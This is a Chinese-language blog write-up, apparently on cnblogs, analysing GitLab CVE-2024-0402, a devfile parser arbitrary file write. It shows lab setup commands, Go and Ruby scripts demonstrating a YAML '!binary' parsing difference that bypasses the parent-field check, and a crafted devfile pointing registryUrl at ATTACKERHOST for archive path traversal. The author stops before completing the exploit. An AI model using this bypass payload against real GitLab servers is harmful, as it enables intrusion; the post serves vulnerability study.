Gitlab CVE-2024-0402 Devfile解析器任意文件写入漏洞分析
前言:这篇笔记主要记录Gitlab CVE-2024-0402 Devfile解析器任意文件写入及武器化
参考文章:https://gitlab.com/gitlab-org/gitlab/-/issues/437819
参考文章:https://gitlab-com.gitlab.io/gl-security/security-tech-notes/security-research-tech-notes/devfile/
参考文章:https://devfile.io/docs/2.2.2/what-is-a-devfile
参考文章:https://devfile.io/docs/2.2.2/referring-to-a-parent-devfile#parent-referred-by-uri
参考文章:https://gitlab.com/gitlab-org/ruby/gems/devfile-gem/
参考文章:https://gitlab.com/gitlab-org/ruby/gems/devfile-gem/-/blob/1573dfa774a9d2c8f1335095c7f1ff5f7853f2d9/lib/devfile.rb#L45
参考文章:https://archives.docs.gitlab.com/16.6/ee/user/clusters/agent/index.html
参考文章:https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent
参考文章:https://gitlab.com/gitlab-org/gitlab/-/blob/426689d290f0a7f86f2f01298e974c433ff235fb/ee/lib/remote_development/workspaces/create/pre_flatten_devfile_validator.rb#L53
CVE-2024-0402
环境搭建
sudo mkdir -p /srv/gitlab_16_6_1 export GITLAB_HOME=/srv/gitlab_16_6_1 docker run -itd \ -p 8001:8001 \ -p 8002:22 \ -v $GITLAB_HOME/config:/etc/gitlab_16_6_1 \ -v $GITLAB_HOME/logs:/var/log/gitlab_16_6_1 \ -v $GITLAB_HOME/data:/var/opt/gitlab_16_6_1 \ --restart always \ --privileged=true \ --name gitlab_16_6_1 \ gitlab/gitlab-ce:16.6.1-ce.0
影响版本
16.6.0 <= GitLab CE/EE < 16.6.6
16.7.0 <= GitLab CE/EE < 16.7.4
16.8.0 <= GitLab CE/EE < 16.8.1
漏洞分析
关于devfile
参考文章:https://devfile.io/docs/2.2.2/what-is-a-devfile
参考文章:https://gitlab.com/gitlab-org/ruby/gems/devfile-gem/
您可以使用devfiles来自动化和简化您的开发过程,方法是采用公共社区注册表( public community registry)中提供的现有devfiles或编写您自己的devfiles以将配置和运行构建环境的自定义指令记录为YAML格式的文本文件。
您可以在支持的构建工具和 IDE 中提供这些 devfile,这些工具和 IDE 可以自动处理 devfile 指令,以从开发项目配置和构建正在运行的应用程序。
使用devfile中推荐的最佳实践,有如下几种:
-
获取托管应用程序源代码的存储库。
-
构建您的代码。
-
在本地容器上运行您的应用程序。
-
将您的应用程序部署到云原生容器。
这边可以简单的看下公共社区注册表中已经开源的devfiles文件,如下图所示,可以看到这是.NET 5.0的基础环境的构建实现devfile文件
https://registry.devfile.io/viewer/devfiles/community/dotnet50
devfile-gem
参考文章:https://devfile.io/docs/2.2.2/referring-to-a-parent-devfile#parent-referred-by-uri
参考文章:https://gitlab.com/gitlab-org/ruby/gems/devfile-gem/-/blob/main/ext/main.go
参考文章:https://gitlab.com/gitlab-org/ruby/gems/devfile-gem/-/blob/1573dfa774a9d2c8f1335095c7f1ff5f7853f2d9/lib/devfile.rb#L45
devfile-gem是gitlab自己实现的一套devfile环境构建的二进制go文件,实际上就是对devfile的调度封装,它支持五个函数的命令行操作,如下图所示
其中devfile-gem支持flatten方式,具体的是https://github.com/devfile/library/blob/main/pkg/devfile/parse.go中进行引用解析操作
其中还需要注意的就是,在devfile中我们可以通过设置parent标签来让devfile引用外部的url文件进行环境的构建,如下图所示
这里可以通过flatten方式来通过parent标签引用外部url构建环境来进行测试devfile,这里构建的nodejs的环境
schemaVersion: 2.2.0 metadata: name: my-project-dev parent: uri: https://raw.githubusercontent.com/devfile/registry/main/stacks/nodejs/devfile.yaml
这边通过devfile来通过flatten模式来进行测试,如下图所示
root@8f506de45edd:/opt/gitlab/embedded/lib/ruby/gems/3.0.0/gems/devfile-0.0.24.pre.alpha1-x86_64-linux/bin# ./devfile flatten 'schemaVersion: 2.2.0 metadata: name: my-project-dev parent: uri: https://raw.githubusercontent.com/devfile/registry/main/stacks/nodejs/devfile.yaml'
可以看到尽管文件不存在,但是devfile还是拉取了远程的项目文件,如下图所示
https://raw.githubusercontent.com/devfile/registry/main/stacks/nodejs/devfile.yaml
Yaml在golang和ruby解析的差异性
在实际环境中通过web触发的时候devfile.rb还有一个条件限制,其中可以看到会验证devfile中的parent字段,如下图所示
但是这边的话我们需要用到parent,所以这边的条件判断就是需要绕过,这边利用的就是通过!binary
解析的差异性来绕过,最终的效果就是ruby中检验parent是不存在,而go构建的devfile二进制文件解析parent字段是存在的,让其去引入parent字段指向的外部devfile文件
test.yaml
!binary parent: foo
demoYaml.go
package main import ( "fmt" "gopkg.in/yaml.v3" "log" "os" ) func main() { data, _ := os.ReadFile(os.Args[1]) unmarshalled := &yaml.Node{} err := yaml.Unmarshal([]byte(data), unmarshalled) if err != nil { log.Fatalf("error: %v", err) } var expanded interface{} err = unmarshalled.Content[0].Decode(&expanded) if err != nil { log.Fatalf("error: %v", err) } d, err := yaml.Marshal(expanded) if err != nil { log.Fatalf("error: %v", err) } fmt.Printf("%s\n", string(d)) }
demoYaml.rb
require 'yaml' require 'date' x = YAML.safe_load(File.read(ARGV[0]),aliases: true) y = YAML.dump(x) puts y
可以看到同一个yaml文件,在ruby和golang中对于解析一个主键的情况是不同的,如下图所示
Devfile解析未安全处理压缩包路径跳跃问题
gitlab中的devfile二进制工具解析.devfile.yaml的时候由于可以指向远程registryUrl地址,其中由于filepath.Clean对于压缩包文件名未过滤完全导致存在目录跳跃的情况,如下图所示
schemaVersion: 2.2.0 !binary parent: id: nodejs registryUrl: http://ATTACKERHOST components: - name: 'test' attributes: gl/inject-editor: true container: image: registry.gitlab.com/gitlab-org/remote-development/gitlab-remote-development-docs/debian-bullseye-ruby-3.2-node-18.12:rubygems-3.4-git-2.33-lfs-2.9-yarn-1.22-graphicsmagick-1.3.36-gitlab-workspaces
web配置应用devfile
参考文章:https://docs.gitlab.com/ee/user/workspace/configuration.html#set-up-a-workspace
参考文章:https://www.cnblogs.com/zpchcbd/p/18184207
到目前可以本地进行配置gitlab来进行执行devfile文件构建的操作,构造devfile环境之前,需要搭建一套对应的k8s环境进行,这边我用的是minikube搭建的k8s环境
这边的话创建了一个仓库名为demo,然后在对应的.gitlab/agents/rce
目录中创建一个空内容的config.yaml,这里的agent名称为rce,如下图所示
接着在该仓库中连接对应的集群gitlab agent,这边的话就是rce这个代理集群,如下图所示
在k8s集群的机器上面执行如下命令,创建对应的gitlab agent代理,如下图所示
helm repo add gitlab https://charts.gitlab.io helm repo update helm upgrade --install rce gitlab/gitlab-agent \ --namespace gitlab-agent-rce \ --create-namespace \ --set image.tag=v16.6.0 \ --set config.token=glagent-941ZhU1SqFNUngw-F4GtFcGfq1-XQyxzSoX_-3p8Qpyp2AxP2w \ --set config.kasAddress=ws://112.124.31.203:8001/-/kubernetes-agent/
注意:上面提供的命令中默认端口为80,但是如果gitlab默认注册的端口非80的话,那么记得需要自己修改下对应的端口,我这边gitlab的web服务是8001端口,如下图所示
这边发现还需要配置对应的远程环境才能打开worksapce功能,这篇文章复现就记录到这里先,后续如果有机会的话再进行记录
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY